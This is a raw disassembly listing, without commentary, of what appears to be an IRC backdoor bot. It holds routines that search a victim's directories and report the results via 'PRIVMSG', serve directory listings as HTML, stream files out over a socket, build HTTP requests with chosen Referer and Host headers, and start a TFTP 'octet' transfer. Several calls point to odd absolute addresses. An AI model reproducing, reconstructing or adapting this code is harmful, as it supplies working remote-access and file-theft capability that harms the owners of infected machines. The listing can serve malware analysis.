arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417330
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406106
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40610F
; ---------------------------------------------------------------------------


loc_406106:				; CODE XREF: sub_4060D0+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40610F:				; CODE XREF: sub_4060D0+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061AA
		mov	[ebp+arg_8], 2


loc_40613A:				; CODE XREF: sub_4060D0+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417AB0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40617A
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40617A
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40617A
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_406194
; ---------------------------------------------------------------------------


loc_40617A:				; CODE XREF: sub_4060D0+7Aj
					; sub_4060D0+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40618A
		push	5Ch
		pop	eax
		jmp	short loc_40618D
; ---------------------------------------------------------------------------


loc_40618A:				; CODE XREF: sub_4060D0+B3j
		movsx	eax, al


loc_40618D:				; CODE XREF: sub_4060D0+B8j
		mov	[ebp+ebx+var_210], al


loc_406194:				; CODE XREF: sub_4060D0+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40613A


loc_4061AA:				; CODE XREF: sub_4060D0+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_314]
		push	offset asc_42A660 ; "\n"
		push	eax
		call	sub_418B6E
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 26B0390h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4061FB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4061FE
		push	[ebp+arg_0]
		jmp	loc_40627E
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_4060D0+11Cj
		mov	[ebp+var_4], esi


loc_4061FE:				; CODE XREF: sub_4060D0+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40620B
		mov	[ebp+var_4], esi


loc_40620B:				; CODE XREF: sub_4060D0+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_406289
		cmp	[ebp+arg_C], edi
		jz	short loc_40627D
		lea	eax, [ebp+var_314]
		push	offset asc_42A65C ; "*"
		push	eax
		call	sub_4179D0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406ACA
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4172B0
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4062D8
; ---------------------------------------------------------------------------


loc_40627D:				; CODE XREF: sub_4060D0+152j
		push	ebx


loc_40627E:				; CODE XREF: sub_4060D0+126j
		call	dword_43AE30
		jmp	loc_406380
; ---------------------------------------------------------------------------


loc_406289:				; CODE XREF: sub_4060D0+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2670000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4062D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4172B0
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 26B0000h
		push	esi
		mov	[ebp+var_330], eax
		call	near ptr 26508BEh
		nop


loc_4062D8:				; CODE XREF: sub_4060D0+1ABj
					; sub_4060D0+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_42A61C
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_416D5C
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4407F4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F4D
		push	edi
		push	edi
		call	near ptr 26A0AE7h
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440804[ecx], eax
		jz	short loc_406352


loc_406340:				; CODE XREF: sub_4060D0+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_406380
		push	5
		nop
		call	near ptr 2620494h
		jmp	short loc_406340
; ---------------------------------------------------------------------------


loc_406352:				; CODE XREF: sub_4060D0+26Ej
		push	ebx
		call	dword_43AE30
		call	near ptr 267036Ah
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_42A5D4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_406380:				; CODE XREF: sub_4060D0+1B4j
					; sub_4060D0+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4060D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406387	proc near		; CODE XREF: sub_405F4D+15Ap
					; sub_40EE72+49C9p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417330
		mov	edi, [ebp+arg_0]
		push	offset asc_42A660 ; "\n"
		push	edi
		call	sub_418B6E
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4063E6
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_4064E5
; ---------------------------------------------------------------------------


loc_4063E6:				; CODE XREF: sub_406387+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4064CB
		call	sub_417AB0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	edi
		call	sub_417AB0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_4064E5
; ---------------------------------------------------------------------------


loc_4064CB:				; CODE XREF: sub_406387+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h


loc_4064E5:				; CODE XREF: sub_406387+5Aj
					; sub_406387+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	[ebp+arg_C], ebx
		jz	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_406580
		push	[ebp+arg_C]
		call	sub_417AB0
		sub	eax, 3
		pop	ecx
		jz	short loc_406531


loc_406525:				; CODE XREF: sub_406387+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406531
		dec	eax
		jnz	short loc_406525


loc_406531:				; CODE XREF: sub_406387+19Cj
					; sub_406387+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8


loc_406580:				; CODE XREF: sub_406387+180j
					; sub_406387+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 26E0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jz	loc_406970
		mov	edi, 1FFh


loc_4065AC:				; CODE XREF: sub_406387+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406958
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 26C053Eh
		nop
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 26C0000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_406621
		mov	ecx, offset aAm	; "AM"


loc_406621:				; CODE XREF: sub_406387+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40662D
		sub	eax, 0Ch


loc_40662D:				; CODE XREF: sub_406387+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4172B0
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4067D0
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4066A1
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_406919
; ---------------------------------------------------------------------------


loc_4066A1:				; CODE XREF: sub_406387+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40678B
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS	; "%s%s/"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_406741
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_406746
; ---------------------------------------------------------------------------


loc_406741:				; CODE XREF: sub_406387+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_406746:				; CODE XREF: sub_406387+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40691A
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406387+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_4067D0:				; CODE XREF: sub_406387+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40680F
		push	ebx
		push	[ebp+var_368]
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4067FB:				; CODE XREF: sub_406387+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		jmp	loc_406929
; ---------------------------------------------------------------------------


loc_40680F:				; CODE XREF: sub_406387+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_406903
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_417AB0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_4068AF
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4068B4
; ---------------------------------------------------------------------------


loc_4068AF:				; CODE XREF: sub_406387+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_4068B4:				; CODE XREF: sub_406387+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4067FB
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_406387+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_406919:				; CODE XREF: sub_406387+315j
		push	esi


loc_40691A:				; CODE XREF: sub_406387+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41782A
		add	esp, 18h


loc_406929:				; CODE XREF: sub_406387+444j
					; sub_406387+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		cmp	[ebp+arg_8], ebx
		jz	short loc_406958
		push	7D0h
		nop
		call	near ptr 2620494h


loc_406958:				; CODE XREF: sub_406387+22Bj
					; sub_406387+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jnz	loc_4065AC


loc_406970:				; CODE XREF: sub_406387+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 26B0459h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4069B3
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069B3:				; CODE XREF: sub_406387+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4069CD
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	short loc_4069E7
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406387+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_4069E7:				; CODE XREF: sub_406387+62Aj
					; sub_406387+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43ADE8
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406387	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A0D	proc near		; CODE XREF: sub_405F4D+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 2670000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406AC5
		push	esi
		push	ebx
		nop
		call	near ptr 26B0000h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_406ABE


loc_406A52:				; CODE XREF: sub_406A0D+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_406A6F
		mov	edi, [ebp+arg_4]


loc_406A6F:				; CODE XREF: sub_406A0D+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	near ptr 26E109Ch
		nop
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2650000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406AB9
		call	dword_43AD2C
		cmp	eax, 2733h
		jnz	short loc_406ABE
		xor	eax, eax


loc_406AB9:				; CODE XREF: sub_406A0D+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_406A52


loc_406ABE:				; CODE XREF: sub_406A0D+43j
					; sub_406A0D+A8j
		push	ebx
		nop
		call	near ptr 26508BEh


loc_406AC5:				; CODE XREF: sub_406A0D+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406ACA	proc near		; CODE XREF: sub_4060D0+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_417AB0
		test	eax, eax
		pop	ecx
		jbe	short loc_406AF3


loc_406ADD:				; CODE XREF: sub_406ACA+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_406AE7
		mov	byte ptr [esi+edi], 2Fh


loc_406AE7:				; CODE XREF: sub_406ACA+17j
		push	edi
		inc	esi
		call	sub_417AB0
		cmp	esi, eax
		pop	ecx
		jb	short loc_406ADD


loc_406AF3:				; CODE XREF: sub_406ACA+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_406ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF8	proc near		; CODE XREF: sub_40EE72+2BE6p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_43AD10
		push	6
		push	1
		push	2
		call	dword_43AE18
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_43AD98
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40ADCA
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	short loc_406BD5
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_406B71
		mov	eax, offset byte_436EDC


loc_406B71:				; CODE XREF: sub_406AF8+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_43ADE8
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		pop	esi


loc_406BD5:				; CODE XREF: sub_406AF8+6Bj
		push	ebx
		call	dword_43AE30
		call	dword_43ACF8
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4172B0
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_406C15
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_406C15:				; CODE XREF: sub_406AF8+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_406AF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C19	proc near		; CODE XREF: sub_406C19:loc_407104p
					; DATA XREF: sub_407252+107o ...

var_884		= dword	ptr -884h
var_880		= dword	ptr -880h
var_780		= byte ptr -780h
var_580		= byte ptr -580h
var_57F		= byte ptr -57Fh
var_57E		= byte ptr -57Eh
var_57D		= byte ptr -57Dh
var_57C		= byte ptr -57Ch
var_37C		= dword	ptr -37Ch
var_378		= byte ptr -378h
var_274		= byte ptr -274h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_D8		= byte ptr -0D8h
var_D7		= byte ptr -0D7h
var_D6		= byte ptr -0D6h
var_D5		= byte ptr -0D5h
var_58		= byte ptr -58h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp+var_1C]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_37C]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_16C]
		push	2
		mov	[ebp+var_C], eax
		mov	[edx+2A0h], eax
		call	dword_43AE18
		mov	edi, eax
